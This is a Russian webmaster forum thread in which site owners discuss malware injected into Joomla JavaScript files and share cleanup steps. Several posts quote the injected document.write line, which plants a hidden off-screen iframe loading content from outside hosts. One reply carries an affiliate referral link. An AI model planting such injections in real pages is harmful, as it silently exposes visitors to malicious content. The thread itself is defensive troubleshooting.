Проблемы с сайтом, внедрены вредоностные коды на сайте
Страницы: 1 2 3 4 5 След.
Проблемы с сайтом, внедрены вредоностные коды на сайте
Здравствуйте это мой сайт - www.zapichi-recept.ru/

сегодня такое случилось, войдя на сайт идёт предупреждение что на сайте вирусы...   от гугл в веб мастере пришло письмо где и что они подозревают что было внедрение... пожалуйста помогите кто может напишите...

Вредоносные программы
Предупреждение
Google обнаружил вредоносный код на вашем сайте . Теперь пользователи, переходящие на эти страницы по ссылкам в результатах поиска Google, будут видеть предупреждение. 
Рекомендуем как можно быстрее очистить ваш сайт.

www.zapichi-recept.ru/media/system/js/mootools.js
Возможный внедренный код
document.write('<iframe width="55" height="55" style="width:
100px;height:100px;position:absolute;left:-100px;top:0;" src
="zazcd.wikaba.com/geowgjwiehgwvbb.cfg?11"></iframe>'
);

www.zapichi-recept.ru/components/com_jcomments/libraries/joomlatune/ajax.js?v=4
Возможный внедренный код
document.write('<iframe width="55" height="55" style="width:
100px;height:100px;position:absolute;left:-100px;top:0;" src
="zazcd.wikaba.com/geowgjwiehgwvbb.cfg?11"></iframe>'
);

www.zapichi-recept.ru/components/com_jcomments/js/jcomments-v2.3.js?v=8
Возможный внедренный код
document.write('<iframe width="55" height="55" style="width:
100px;height:100px;position:absolute;left:-100px;top:0;" src
="zazcd.wikaba.com/geowgjwiehgwvbb.cfg?11"></iframe>'
);

www.zapichi-recept.ru/templates/yoo_pinboard/warp/js/warp.js
Возможный внедренный код
document.write('<iframe width="55" height="55" style="width:
100px;height:100px;position:absolute;left:-100px;top:0;" src
="zazcd.wikaba.com/geowgjwiehgwvbb.cfg?11"></iframe>'
);

www.zapichi-recept.ru/media/system/js/caption.js
Возможный внедренный код
document.write('<iframe width="55" height="55" style="width:
100px;height:100px;position:absolute;left:-100px;top:0;" src
="zazcd.wikaba.com/geowgjwiehgwvbb.cfg?11"></iframe>'
);
Такая же проблема. Нашли решение? Есть мнение что внедрен бекдор.
Для начала в jsках надо удалить
Цитата
document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://qmqlwsn.ddns.name/2b586b62b05a19e7e18157fa90a705de.sys?11"></iframe>');

Через БД попробовать поиск : zazcd.wikaba.com,  qmqlwsn.ddns.name, eval, base64, проверить файлы которые были изменены (хотя бы примерно) в день появления заразы, ну и попробовать айболита
Хостинг Beget на СУПРе
Подскажите что есть айболит?

Какие действия предпринять после очистки что бы зараза вновь не появлялась? Ибо через ~10 минут после очистки опять все заражается.
Цитата
exor пишет:
Подскажите что есть айболит?
http://www.cy-pr.com/forum/f80/t22007/

Цитата
exor пишет:
Какие действия предпринять после очистки что бы зараза вновь не появлялась?
Я хз, с жумлой связывался только для просмотра функционала админки)) Какие там рекомендации, для меня темный лес.
спасибо за помощь.

а какая направленность данного вируса?
направленность - спам на ваших всех страниц. или бесплатные вечные ссылки)...когда у меня беда такая случилось - пару сайтов удалил вообще, и на других своих запретил простую регистрацию, и при этом в коде регистрации удалил проверку по вопросу и картинкам) в итоге Юзеры не регаются, так то и так они могут смотреть все что захотят, и админы новые не появятся...поэтому совет - пересмотретьв се действия в Админпанели (если у вас ДЛЕ). там все видно будет.. А так лечить можно fix.ru есть еще айболит по латински. Ноу  них тоже базы долго обновляются по вредоносным вирусами и сайтам. Поэтому лучше руками все перешерстить, все шаблоны своего сайта перетрясите и ссылки лишниме эти удалите. Я так делал. обычно они размещают их в самом низу страницы с кодом страниц.
Регайтесь! Помогу с партнеркой! http://entercash.ru/index.php?refid_new=2349
Да, заражены все сайты на хостинге.  Есть полный бекап, -1 день, без заразы.
Вот думаю что делать. Бекап восстановлю, пароль на FTP поменян, поменять все пароли к базам? что еще сделать? Еще наверно есть root учетка хостера.
Сделала бекап, был бек дор на компе,начните проверять свой.Меняем все пароли, а так же делаем бекап.

Далее даю то что написал саппорт



1. Сменить пароли доступа.
2. Проверить свой ПК на наличие вируса.
3. Проверить свой сайт на наличие вируса.
4. Обновить скрипт до последней версии.
5. Проверить права доступа на файлы и каталоги вашего сайта. Права 777 не безопасны.
6. Узнать на форуме поддержки используемого скрипта о причинах подобной проблемы.
Цитата
Роман пишет:
Для начала в jsках надо удалить
Цитата
document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="qmqlwsn.ddns.name/2b586b62b05a19e7e18157fa90a705de.sys?11 ( www.cy-pr.com/%22qmqlwsn.ddns.name/2b586b62b05a19e7e18157fa90a705de.sys?11\%22 )"></iframe>');

Через БД попробовать поиск : zazcd.wikaba.com, qmqlwsn.ddns.name, eval, base64, проверить файлы которые были изменены (хотя бы примерно) в день появления заразы, ну и попробовать айболита
jsках где находится найти немогу(((
имелось ввиду все файлы с расширением .js
в самом конце файлов будет этот код.
Таже проблема. Сканирование до конца дождаться не могу - выкидывает по таймауту. А как вобще происходит заражение? у меня сайт на удаленном хостинге, в последний раз я что-то там менял больше месяца назад. Если что-то и меня, то захожу по фтп с линукс машины. Не пойму как зараза могла просочиться
как можно найти и убрать  эти коды? вирусы с сайта?
то же самое. появилось вчера. затронуты все сайты на аккаунте хостинге.
меняю пароли для ftp пользователей, заражение продолжается.
причем, в ftp-логах пусто.

если разместить чистый .js файл, в течение в среднем 10 минут происходит заражение.
и как что делать? как чистить?
Страницы: 1 2 3 4 5 След.
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
21:49 Как правильно покупать ссылки для поддомена? 
18:51 Роскомнадзор отказал в регистрации трети блогеров-десятитысячников 
12:53 где много готовых фавиконок 
22:59 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 
12:32 «Хлебные крошки» в адресе сайтов исчезнут из результатов поиска Google 
23:27 Adfinity - Ваш надежный партнер в монетизации трафика 
16:55 Инструменты для массового постинга в WordPress 
01:53 Европейский эквайринг 
20:19 GoogleWalker - устранение конкурентов в Google Ads | Автоматизированная система склика | АНТИБАН 
16:39 Продам аккаунты Gmail USA IP | Gmail MIX IP | Outlook Old 
11:07 Мобильные и Резидентные Прокси Для Соц Сетей | 3 Гб Бесплатно 
11:01 Защитим твой ресурс от блокировки Роскомнадзора 
10:09 BestChange – обменивать электронную валюту можно быстро и выгодно 
06:50 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
23:52 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди 
07:48 США готовят закон для уничтожения пиратских сайтов во всех странах мира 
02:50 Точные прогнозы на футбол 
02:10 [Новая партнерка] Goldbet Partners — прямой рекламодатель одноименного казино Goldbet 
21:19 С юмором по жизни! 
18:15 Telegram уничтожил официальный канал легендарного российского торрент-трекера 
18:19 Уникальный сервис SEO продвижения